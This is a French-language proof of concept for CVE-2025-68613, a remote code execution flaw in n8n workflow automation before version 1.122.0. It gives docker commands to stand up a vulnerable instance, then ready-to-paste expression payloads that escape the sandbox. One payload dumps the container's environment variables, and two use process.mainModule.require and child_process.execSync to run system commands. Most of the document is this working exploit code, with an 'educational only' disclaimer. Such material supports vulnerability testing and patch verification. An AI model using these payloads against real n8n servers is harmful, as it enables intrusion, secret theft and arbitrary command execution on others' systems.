
POC for CVE-2025-68613
À des fins éducatives uniquement Cette preuve de concept démontre une vulnérabilité critique (CVE-2025-68613) dans n8n. N'utilisez pas ceci sur des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite de test.
Les versions de n8n antérieures à 1.122.0 contiennent une vulnérabilité d'exécution de code à distance (RCE). Les utilisateurs authentifiés peuvent contourner le bac à sable des expressions et exécuter du code arbitraire sur le système hôte via des charges utiles JavaScript spécifiques dans l'éditeur d'expressions de workflow.
Créez un volume de données et exécutez une version vulnérable de n8n (par exemple, v1.120.0).
# Create volume for persistence
docker volume create n8n_data
# Run vulnerable n8n instance
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
Naviguez vers http://localhost:5678 et terminez la configuration initiale si nécessaire.

Cliquez sur "Ajouter un workflow" pour démarrer un workflow vierge.

Ajoutez un nœud Set au workflow. Ce nœud nous permet de définir des valeurs qui peuvent être évaluées comme des expressions.

Dans le nœud Set, modifiez un paramètre (par exemple value) et changez le type d'entrée en Expression.

Saisissez les charges utiles suivantes dans l'éditeur d'expressions pour démontrer la vulnérabilité.
Cette charge utile accède à this.process.env pour divulguer des variables d'environnement sensibles depuis le conteneur.
Charge utile :
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
Résultat :

Cette charge utile contourne le bac à sable en accédant à process.mainModule.require pour charger le module child_process, permettant l'exécution de commandes système arbitraires.
Charge utile :
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

Résultat : Vérifie le contexte utilisateur du processus en cours.
Démontre la capacité à parcourir le système de fichiers.
Charge utile :
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
Résultat :
